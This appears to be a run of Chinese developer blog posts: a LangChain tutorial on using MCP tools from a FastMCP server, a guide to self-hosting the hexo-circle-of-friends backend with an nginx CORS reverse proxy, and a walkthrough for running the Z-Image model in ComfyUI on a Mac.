这个场景几乎是AI Agent开发里面最常见的场景，即便我们后续使用LangChain SDK，也一样会遇到需要要求AI输出结构化数据的场景。因此了解如何控制AI输出格式化数据，是Agent开发必备的能力。

1. 【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？
2. 【AI】AI对26届及今后计算机校招的影响
3. 【Agent.01】AI Agent智能体开发专题引言
4. 【Agent.02】市面上常见的大模型有哪些？
5. 【Agent.03】带你学会写一个基础的Prompt
6. 【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互
7. 【Agent.05】OpenAI接口Function Calling工具调用详解
8. 【Agent.06】使用openai sdk实现多轮对话
9. 【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路
10. 【Agent.08】LangChain的第一个Demo：从零开始构建Agent
11. 【Agent.09】LangChain里面使用MCP工具
12. 【Agent.10】OpenAI接口输出格式约束（response_format）

本专栏所有代码都会归档至 musnows/agent-blog 开源仓库。

在上一篇文章中，我们学习了LangChain的基础用法和如何创建简单的Agent。本文将说明如何在LangChain中集成MCP（Model Context Protocol）工具。

1. 什么是MCP？

MCP的介绍请移步MCP协议博客，本文不多介绍这个协议的原理。

简而言之，MCP就是在各个Agent SDK所支持的Function Calling上抽象了一层中间层，让这些Function有了一个外部统一调用和处理的协议，从而让我们的各类Tools只需要使用MCP协议编写出一个server，就可以在各个支持MCP的client里面无缝使用，不再需要针对目标工具、SDK做单独的二次工具开发，大大节省了工具兼容的开发时间。

当然，如果你的工具是Python函数，不涉及到任何兼容逻辑，也不打算切换你的Agent框架的时候，也可以不使用MCP。MCP只是提供了方便，并不代表我们的工具能力就一定要用MCP协议来编写。

在上一个Demo里面，我们使用了LangChain成功调用了直接在python里面实现的tools，本文将介绍如何在LangChain中集成MCP工具，顺带介绍如何使用fastmcp库编写MCP的server。

2. 创建MCP服务器

2.1. 环境准备

首先需要安装MCP相关的依赖，第一个是用于编写MCP服务器的库，第二个是LangChain里面的MCP客户端实现。

1

pip install fastmcp langchain-mcp-adapters

如果你使用的是uv，则使用uv add添加这些依赖。

2.2. 创建数学计算服务器

本次Demo使用一个比较简单的数学服务器作为演示。

创建一个名为01.math_server.py的文件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from mcp.server.fastmcp import FastMCP

# 创建MCP服务器实例，"Math"是服务器名称
mcp = FastMCP("Math")

@mcp.tool()
def add(a: int, b: int) -> int:
    """Add two numbers"""
    return a + b

@mcp.tool()
def multiply(a: int, b: int) -> int:
    """Multiply two numbers"""
    return a * b

if __name__ == "__main__":
    mcp.run(transport="stdio")

就是这么短短的几行代码，我们就已经写好了一个MCP服务器了。MCP服务器的启动方式分为两种，一个是stdio（字节流），另外一个是sse（远程）。关于sse协议，在本站也有博客详解。这里为了方便，使用了stdio协议。

同理，FastMCP框架也会使用python函数的lint和docstring来作为工具的desc，方便Agent理解工具的作用。

如果你使用的是Anthopic官方提供的MCP Python SDK，则还有另外一套更加全面的MCP服务端编写方式，支持自定义的字段更多，但编写也更加复杂。如果没有特殊需要，直接使用FastMCP就可以了，直接在原本的函数上加上一个@mcp.tool()装饰器，就能把普通的函数变成MCP Server的Tools，非常方便。

2.3. 测试MCP服务器

我们可以直接运行这个服务器来测试：

1

uv run mcp/01.math_server.py

服务器启动后会等待MCP客户端的连接，终端里面啥都不会输出。只要你观测到终端没有报错，阻塞运行了，那就说明server已经正常启动了。

3. 在LangChain中使用MCP工具

现在让我们在LangChain中集成我们刚创建的MCP工具。

继续阅读后续代码之前，请对python的await和aysnc的概念有一定了解，参考本站：python的异步和同步

3.1. 完整集成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

import asyncio
import os
from langchain_mcp_adapters.client import MultiServerMCPClient
from langchain.agents import create_agent
from langchain.chat_models import init_chat_model
from dotenv import load_dotenv

# 加载环境变量
load_dotenv(override=True)


async def main():
    # 连接到 MCP 服务器
    client = MultiServerMCPClient({
        "math": {
            "transport": "stdio",  # 使用stdio传输协议
            "command": "uv",      # 启动命令
            "args": ["--directory", "mcp", "run", "01.math_server.py"],
        }
    })

    # 配置模型
    model = init_chat_model(
        model=os.getenv("OPENAI_MODEL"),
        model_provider="openai",
        api_key=os.getenv("OPENAI_API_KEY"),
        base_url=os.getenv("OPENAI_BASE_URL")
    )

    # 获取 MCP 服务器提供的工具
    tools = await client.get_tools()

    # 创建 Agent
    agent = create_agent(model=model, tools=tools)

    # 调用 Agent
    result = await agent.ainvoke(
        {"messages": [{
            "role": "user",
            "content": "3 加 5 等于多少？然后乘以 12？"
        }]}
    )

    print(result["messages"][-1].content)


if __name__ == "__main__":
    asyncio.run(main())

3.2. 代码解析

下面对这段代码比较关键的部分单独解释：

第一步：创建MCP客户端

1
2
3
4
5
6
7

client = MultiServerMCPClient({
    "math": {
        "transport": "stdio",
        "command": "uv",
        "args": ["--directory", "mcp", "run", "01.math_server.py"],
    }
})

这里我们创建了一个多服务器MCP客户端，它可以同时连接多个MCP服务器。

配置说明：

• “math”：MCP服务器针对Agent暴露的名称，可以自定义。注意在prompt中也需要使用对应的名字，方便Agent确认需要使用的工具是谁。
  • 一般MCP客户端会用mcp_服务器名字_工具名字之类的格式作为最终传给Agent的Function Name。
  • 但在LangChain中，MCP工具传递给AI的名字就是每一个tools的名字，所以需要确保你配置的多个MCP工具里面没有重名的tools，否则无法正常识别！相关issue
• transport：传输协议，可选为"stdio"、“sse”、“streamable_http”；
• command：启动MCP服务器的命令（只有stdio模式下需要）
• args：启动命令的参数列表（只有stdio模式下需要）
• url：MCP服务器的链接地址（只有sse和streamable_http模式下需要）

使用stdio模式的时候，我们配置的command和args就是启动MCP服务器的命令。比如上面的配置本质上就是执行了如下命令：

1

uv --directory mcp run 01.math_server.py

其他MCP服务器，只要使用的是stdio模式，配置方式都是这样的。

MCP其中一个优点就在于，MCP客户端的链接配置基本上是所有支持MCP的客户端工具通用的，只要把这个json拷贝出去，就可以给其他工具（如claude-code）使用了。

这里需要注意两点：

• 如果配置的stdio的工具，一定要确定配置的命令能够正常执行。可以先执行一下这个命令确认是否能无报错正常启动MCP服务器。
• 如果配置的是sse或streamable_http的MCP Server，要确认这个远程的http服务器地址能够正常在客户端的主机上访问到。

另外，部分Agent工具在MCP服务器无法链接的时候是不会报错提示的（比如claude-code），一定要确认好Agent工具或SDK真的链接上了你提供的MCP工具，否则在缺少工具的时候Agent只会胡乱编造数据！

第二步：获取工具

1

tools = await client.get_tools()

这行代码会启动MCP服务器进程，并获取服务器提供的所有工具，tools是一个包含所有可用工具的列表。如果无法启动或链接MCP服务器，这个函数调用会抛出异常。

同时，这些工具里面也会包含FastMCP库从docstring里面解析出来的简介、参数、返回值，这些信息都会提供给Agent进行Function Calling。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

[
    StructuredTool(
        name='add',
        description='Add two numbers',
        args_schema={
            'properties': {
                'a': {'title': 'A', 'type': 'integer'},
                'b': {'title': 'B', 'type': 'integer'}
            },
            'required': ['a', 'b'],
            'title': 'addArguments',
            'type': 'object'
        },
        response_format='content_and_artifact',
        coroutine=<function convert_mcp_tool_to_langchain_tool.<locals>.call_tool at 0x110448e00>
    ),
    StructuredTool(
        name='multiply',
        description='Multiply two numbers',
        args_schema={
            'properties': {
                'a': {'title': 'A', 'type': 'integer'},
                'b': {'title': 'B', 'type': 'integer'}
            },
            'required': ['a', 'b'],
            'title': 'multiplyArguments',
            'type': 'object'
        },
        response_format='content_and_artifact',
        coroutine=<function convert_mcp_tool_to_langchain_tool.<locals>.call_tool at 0x11244e980>
    )
]

第三步：创建Agent

1

agent = create_agent(model=model, tools=tools)

和之前的LangChain示例一样，我们将模型和工具传递给create_agent函数。不同的是，这里的工具来自MCP服务器。当然，我们可以在MCP工具的基础上去加其他的Function一起传入，都是OK的。

1
2

tools.append(other_tools) # 追加其他工具函数
agent = create_agent(model=model, tools=tools)

第四步：异步调用

1
2
3
4
5
6

result = await agent.ainvoke(
    {"messages": [{
        "role": "user",
        "content": "3 加 5 等于多少？然后乘以 12？"
    }]}
)

由于MCP客户端使用异步方式与服务器通信，我们需要使用ainvoke方法而不是invoke方法，同时需要在函数之前加上await。

3.3. 运行结果

运行这个程序，你会看到类似这样的输出：

1

3 加 5 等于 8，然后 8 乘以 12 等于 96。

Agent成功地：

1. 理解了用户的数学问题
2. 调用了add工具计算 3 + 5 = 8
3. 调用了multiply工具计算 8 × 12 = 96
4. 给出了完整的答案

从日志中可以看到，日志里面打印出来了CallToolRequest，也就是我们的MCP客户端去请求调用了MCP服务端的服务，这些信息是Agent根据工具调用结果返回的，而不是根据自己的理解“算”出来的。

4. The end

本文简单介绍了如何在LangChain里面使用MCP工具。

在实际项目中，你可以：

• 将现有的Python功能函数封装成MCP工具，方便不同的Agent使用
• 使用第三方提供的MCP工具，有非常多开源的牛逼MCP工具，比如serena
• 构建自己的工具生态系统，比如对接公司内网系统OpenAPI的各类MCP工具

本文到这里就结束啦！

本站有一个友链朋友圈页面，使用的是Rock-Candy-Tea/hexo-circle-of-friends项目。这个项目会尝试解析你的hexo博客友链页面，并去扫描你的友链们的hexo博客，获取到他们最新的博客文章，展示一个汇总页面：

但是从2025年11月24日开始，vercel的部署就一直处于失败状态，具体问题我提交了一个issue：https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/issues/179

服务器部署

既然vercel的问题解决不了，那就只能换服务器部署喽，不再白嫖了。

服务器部署的教程参考：https://fcircle-doc.yyyzyyyz.cn/docs/deployment/backend.html

首先需要在服务器上git克隆这个项目，这就不多描述了。

然后，在https://github.com/Rock-Candy-Tea/hexo-circle-of-friends/releases里面下载最新的二进制可执行文件，注意选择和你服务器架构相同的可执行文件，比如我的ubuntu服务器就是下载linux-x86_64-unknown-linux-gnu.zip这个文件。

将zip上传到服务器上，解压得到fcircle_core和fcircle_api这两个可执行文件，放到hexo-circle-of-friends项目的根目录下。

1
2
3
4
5
6

~/code-tx/hexo-circle-of-friends
❯ ls
api             CHANGELOG.md    data_structures  fcircle_core          pyproject.toml    stop.sh            uv.lock
api_dependence  core            db               fc_settings.yaml      README.md         tests              vercel.json
Cargo.lock      css_rules.yaml  downloader       fc_settings.yaml.bak  requirements.txt  tools
Cargo.toml      data.db         fcircle_api      logs                  start.sh          update_version.py

搞定了之后，直接执行start.sh就可以运行项目了。

这个脚本会使用可视化的方式带你设置整个项目，首先是输入你的友链地址（比如本站的https://blog.musnow.top/link/），然后输入要绑定后端的端口号（选一个没被占用的端口就行了，默认的8000端口太常用了，不推荐）

一切正常的话，后端服务就启动成功了，可以用如下命令检查一下是否在运行

1
2
3
4

❯ netstat -ntlp | grep 10001
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:10001           0.0.0.0:*               LISTEN      2630423/./fcircle_a 

然后还可以测试一下是否能获取到数据

1

curl -v http://127.0.0.1:10001/all

只要这个接口有返回json结果，那就是一切ok了。

注意，上述的操作只是完成了基本的部署，如果你需要一些进阶的配置，比如配置AI简介生成的能力，还需要根据https://fcircle-doc.yyyzyyyz.cn/docs/configuration.html里面的教程，去修改配置文件，和对应的.env环境变量（比如配置AI的key），否则某些功能不会生效。

反代设置

服务器部署完成之后，需要开放端口的防火墙，并设置反代。

这里需注意的是，自部署的版本反代里面需要加上正确的跨域请求头，否则会导致无法正常跨域访问（浏览器会拦截）

1

fcircle/:1  Access to fetch at 'https://hexo-friend-article.musnow.top/all' from origin 'https://blog.musnow.top' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header contains multiple values '*, https://blog.musnow.top', but only one is allowed. Have the server send the header with a valid value.

以1panel的反代设置为例，找到设置好的反向代理，点击源文就可以看到nginx的原始配置文件

需把location修改成如下的设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

location ^~ / {
    proxy_pass http://127.0.0.1:10001; 
    proxy_set_header Host $host; 
    proxy_set_header X-Real-IP $remote_addr; 
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 
    proxy_set_header REMOTE-HOST $remote_addr; 
    proxy_set_header Upgrade $http_upgrade; 
    proxy_set_header Connection $http_connection; 
    proxy_set_header X-Forwarded-Proto $scheme; 
    proxy_set_header X-Forwarded-Port $server_port; 
    proxy_http_version 1.1; 
    add_header X-Cache $upstream_cache_status; 
    add_header Cache-Control no-cache; 
    proxy_ssl_server_name off; 
    proxy_ssl_name $proxy_host; 
    add_header Strict-Transport-Security "max-age=31536000"; 

    # 隐藏后端返回的CORS头，避免冲突
    proxy_hide_header Access-Control-Allow-Origin;
    proxy_hide_header Access-Control-Allow-Credentials;

    # 匹配musnow.top主域名+所有子域名
    set $cors_origin "";
    if ($http_origin ~* "^https?://(.*\.)?musnow\.top$") {
        set $cors_origin $http_origin;
    }

    # 动态设置CORS头
    add_header Access-Control-Allow-Origin $cors_origin;
    add_header Access-Control-Allow-Credentials "true";
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS, PUT, DELETE";
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept, Authorization";

    # 专门处理OPTIONS预检请求
    if ($request_method = OPTIONS) {
        add_header Access-Control-Allow-Origin $cors_origin;
        add_header Access-Control-Allow-Credentials "true";
        add_header Access-Control-Allow-Methods "GET, POST, OPTIONS, PUT, DELETE";
        add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept, Authorization";
        add_header Access-Control-Max-Age "3600"; # 预检结果缓存1小时
        return 204; # 直接返回204，无需转发到后端
    }
}

修改了以后，在博客页面确认能够请求成功，浏览器控制台没有报错，就OK了。

The end

有的时候免费的就是麻烦，vercel这部署的好好的突然就崩了，结果就是天天收到部署失败的邮件，又暂时没时间处理。

还是改成自己的服务器部署了，省事，后续没有遇到无法运行的bug也不用去考虑更新。如果继续用vercel，这个bug被修复之后我还得去更新一下vercel的配置才能恢复使用。

另外，如果最开始和慕雪一样用的是github+vercel的方式部署的，转成服务器部署之后，要记得把github的action给disable掉，不然还是会一直执行action的。

阿里巴巴通义实验室于2025.11.26开源了Z-Image图像生成模型，擅长写实摄影及中英文渲染。该系列包含多个版本，其中Turbo版已发布模型权重，Edit版和Base版即将上线。模型支持多模态输入，具备高精度语义理解能力，适用于广告、设计、内容创作等场景。开源版本可在ModelScope平台下载，为开发者提供灵活、高效的图像生成解决方案，推动AI视觉创作生态发展。

开源地址：https://modelscope.cn/models/Tongyi-MAI/Z-Image-Turbo/

可以直接在魔搭社区登录后，在线测试Z-Image模型文生图效果。本文介绍如何在mac上本地部署这个模型。注意：你的mac至少需要有32GB内存才能够部署Z-Image。

下载ConfyUI

前往github：https://github.com/Comfy-Org/desktop，下载最新的测试版本0.5.11的mac安装包（只有最新版本才能正常部署Z-Image）。可以用下面的两个地址直接下载安装

• Mac (Apple Silicon): https://download.comfy.org/mac/dmg/arm64
• Windows: https://download.comfy.org/windows/nsis/x64

下载完成后，拖拽ComfyUI到Application文件夹即可安装完成。首次打开时，ComfyUI需要初始化python环境，请确保你的mac上安装了homebrew和uv，保证能够正常初始化环境。因为我的电脑上本来就有uv环境，所以整个初始化环节非常顺利。

具体的安装和初始化教程可以参考：https://docs.comfy.org/zh-CN/installation/desktop/macos

前期的这些引导步骤全都选择默认就可以了，对于萌新来说没必要修改这些设置

这里有一个小点可以考虑修改，那就是这里的pypi安装镜像源，这里官方给的是错误的情况，会出现一个红x，请选择你当前网络环境中能够正常访问的镜像源来使用。

1
2
3
4
5
6
7
8

PyPI 镜像
阿里云：https://mirrors.aliyun.com/pypi/simple/
腾讯云：https://mirrors.cloud.tencent.com/pypi/simple/
中国科技大学：https://pypi.mirrors.ustc.edu.cn/simple/
上海交通大学：https://pypi.sjtu.edu.cn/simple/

Torch 镜像
阿里云: https://mirrors.aliyun.com/pytorch-wheels/cu121/

安装完成之后，就会进入桌面的UI页面，这就说明基本环境OK了

下载Z-Image模型并设置工作流

根据文档：https://comfyanonymous.github.io/ComfyUI_examples/z_image/里面的教程，下载三个模型文件，分别放到对应的目录下：

• Text encoder file: qwen_3_4b.safetensors (goes in ComfyUI/models/text_encoders/).
• diffusion model file: z_image_turbo_bf16.safetensors (goes in ComfyUI/models/diffusion_models/).
• VAE: ae.safetensors the Flux 1 VAE if you don’t have it already (goes in ComfyUI/models/vae/)

这个目录在mac上，默认是~/Documents/ComfyUI/models，找到这个目录，把下载的三个模型文件放入文件夹即可。

这是一个默认的路径，如果你修改过，可以在~/Library/Application Support/ComfyUI/extra_models_config.yaml文件里面查看本地模型路径是哪一个

配置工作流

使用需要配置ConfyUI的工作流，作为小白的我完全不会配置，直接抄作业！

把https://comfyanonymous.github.io/ComfyUI_examples/z_image/网站上的图片，拖拽到ConfyUI里面，就可以导入工作流了！

为了避免这个原始的网站失效，这里贴出来完整的json工作流配置，可以用这个json来导入。

1

{"id":"92112d97-bb64-4b44-86f2-ea5691ef8f6e","revision":0,"last_node_id":27,"last_link_id":51,"nodes":[{"id":8,"type":"VAEDecode","pos":[1209,188],"size":[210,46],"flags":{},"order":9,"mode":0,"inputs":[{"localized_name":"Latent","name":"samples","type":"LATENT","link":51},{"localized_name":"vae","name":"vae","type":"VAE","link":45}],"outputs":[{"localized_name":"图像","name":"IMAGE","type":"IMAGE","slot_index":0,"links":[16]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"VAEDecode"},"widgets_values":[]},{"id":9,"type":"SaveImage","pos":[1454.93896484375,190.9700164794922],"size":[976.0567626953125,1060.9766845703125],"flags":{},"order":10,"mode":0,"inputs":[{"localized_name":"图片","name":"images","type":"IMAGE","link":16},{"localized_name":"文件名前缀","name":"filename_prefix","type":"STRING","widget":{"name":"filename_prefix"},"link":null}],"outputs":[],"properties":{"cnr_id":"comfy-core","ver":"0.3.75"},"widgets_values":["ComfyUI"]},{"id":15,"type":"Note","pos":[71.95149993896484,192.96051025390625],"size":[319.26513671875,197.89625549316406],"flags":{},"order":0,"mode":0,"inputs":[],"outputs":[],"properties":{},"widgets_values":["The \"You are an assistant... <Prompt Start> \" text before the actual prompt is the one used in the official example.\n\nThe reason it is exposed to the user like this is because the model still works if you modify or remove it."],"color":"#432","bgcolor":"#653"},{"id":17,"type":"VAELoader","pos":[71.22825209024009,614.4132208648346],"size":[270,58],"flags":{},"order":1,"mode":0,"inputs":[{"localized_name":"vae名称","name":"vae_name","type":"COMBO","widget":{"name":"vae_name"},"link":null}],"outputs":[{"localized_name":"VAE","name":"VAE","type":"VAE","links":[45]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"VAELoader"},"widgets_values":["ae.safetensors"]},{"id":13,"type":"EmptySD3LatentImage","pos":[530,620],"size":[315,106],"flags":{},"order":2,"mode":0,"inputs":[{"localized_name":"宽度","name":"width","type":"INT","widget":{"name":"width"},"link":null},{"localized_name":"高度","name":"height","type":"INT","widget":{"name":"height"},"link":null},{"localized_name":"批量大小","name":"batch_size","type":"INT","widget":{"name":"batch_size"},"link":null}],"outputs":[{"localized_name":"Latent","name":"LATENT","type":"LATENT","slot_index":0,"links":[17]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"EmptySD3LatentImage"},"widgets_values":[1024,1024,1]},{"id":7,"type":"CLIPTextEncode","pos":[420,400],"size":[425.27801513671875,180.6060791015625],"flags":{},"order":6,"mode":0,"inputs":[{"localized_name":"clip","name":"clip","type":"CLIP","link":44},{"localized_name":"文本","name":"text","type":"STRING","widget":{"name":"text"},"link":null}],"outputs":[{"localized_name":"条件","name":"CONDITIONING","type":"CONDITIONING","slot_index":0,"links":[6]}],"title":"CLIP Text Encode (Negative Prompt)","properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"CLIPTextEncode"},"widgets_values":["blurry ugly bad"],"color":"#322","bgcolor":"#533"},{"id":18,"type":"CLIPLoader","pos":[80,460],"size":[270,106],"flags":{},"order":3,"mode":0,"inputs":[{"localized_name":"CLIP名称","name":"clip_name","type":"COMBO","widget":{"name":"clip_name"},"link":null},{"localized_name":"类型","name":"type","type":"COMBO","widget":{"name":"type"},"link":null},{"localized_name":"设备","name":"device","shape":7,"type":"COMBO","widget":{"name":"device"},"link":null}],"outputs":[{"localized_name":"CLIP","name":"CLIP","type":"CLIP","links":[43,44]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"CLIPLoader"},"widgets_values":["qwen_3_4b.safetensors","lumina2","default"]},{"id":16,"type":"UNETLoader","pos":[80,60],"size":[270,82],"flags":{},"order":4,"mode":0,"inputs":[{"localized_name":"UNet名称","name":"unet_name","type":"COMBO","widget":{"name":"unet_name"},"link":null},{"localized_name":"数据类型","name":"weight_dtype","type":"COMBO","widget":{"name":"weight_dtype"},"link":null}],"outputs":[{"localized_name":"模型","name":"MODEL","type":"MODEL","links":[42]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"UNETLoader"},"widgets_values":["z_image_turbo_bf16.safetensors","default"]},{"id":11,"type":"ModelSamplingAuraFlow","pos":[390,60],"size":[315,58],"flags":{},"order":7,"mode":4,"inputs":[{"localized_name":"模型","name":"model","type":"MODEL","link":42},{"localized_name":"移位","name":"shift","type":"FLOAT","widget":{"name":"shift"},"link":null}],"outputs":[{"localized_name":"模型","name":"MODEL","type":"MODEL","slot_index":0,"links":[47]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"ModelSamplingAuraFlow"},"widgets_values":[3]},{"id":3,"type":"KSampler","pos":[863,186],"size":[315,262],"flags":{},"order":8,"mode":0,"inputs":[{"localized_name":"模型","name":"model","type":"MODEL","link":47},{"localized_name":"正面条件","name":"positive","type":"CONDITIONING","link":4},{"localized_name":"负面条件","name":"negative","type":"CONDITIONING","link":6},{"localized_name":"Latent图像","name":"latent_image","type":"LATENT","link":17},{"localized_name":"种子","name":"seed","type":"INT","widget":{"name":"seed"},"link":null},{"localized_name":"步数","name":"steps","type":"INT","widget":{"name":"steps"},"link":null},{"localized_name":"cfg","name":"cfg","type":"FLOAT","widget":{"name":"cfg"},"link":null},{"localized_name":"采样器名称","name":"sampler_name","type":"COMBO","widget":{"name":"sampler_name"},"link":null},{"localized_name":"调度器","name":"scheduler","type":"COMBO","widget":{"name":"scheduler"},"link":null},{"localized_name":"降噪","name":"denoise","type":"FLOAT","widget":{"name":"denoise"},"link":null}],"outputs":[{"localized_name":"Latent","name":"LATENT","type":"LATENT","slot_index":0,"links":[51]}],"properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"KSampler"},"widgets_values":[379878834255418,"randomize",9,1,"euler","simple",1]},{"id":6,"type":"CLIPTextEncode","pos":[420,190],"size":[423.83001708984375,177.11770629882812],"flags":{},"order":5,"mode":0,"inputs":[{"localized_name":"clip","name":"clip","type":"CLIP","link":43},{"localized_name":"文本","name":"text","type":"STRING","widget":{"name":"text"},"link":null}],"outputs":[{"localized_name":"条件","name":"CONDITIONING","type":"CONDITIONING","slot_index":0,"links":[4]}],"title":"CLIP Text Encode (Positive Prompt)","properties":{"cnr_id":"comfy-core","ver":"0.3.75","Node name for S&R":"CLIPTextEncode"},"widgets_values":["cute anime style girl with massive fluffy fennec ears and a big fluffy tail blonde messy long hair blue eyes wearing a maid outfit with a long black gold leaf pattern dress and a white apron, it is a postcard held by a hand in front of a beautiful realistic city at sunset and there is cursive writing that says \"ZImage, Now in ComfyUI\""],"color":"#232","bgcolor":"#353"}],"links":[[4,6,0,3,1,"CONDITIONING"],[6,7,0,3,2,"CONDITIONING"],[16,8,0,9,0,"IMAGE"],[17,13,0,3,3,"LATENT"],[42,16,0,11,0,"MODEL"],[43,18,0,6,0,"CLIP"],[44,18,0,7,0,"CLIP"],[45,17,0,8,1,"VAE"],[47,11,0,3,0,"MODEL"],[51,3,0,8,0,"LATENT"]],"groups":[],"config":{},"extra":{"ds":{"scale":0.5209868481924532,"offset":[569.5286501182709,292.7689360254662]},"frontendVersion":"1.30.6"},"version":0.4}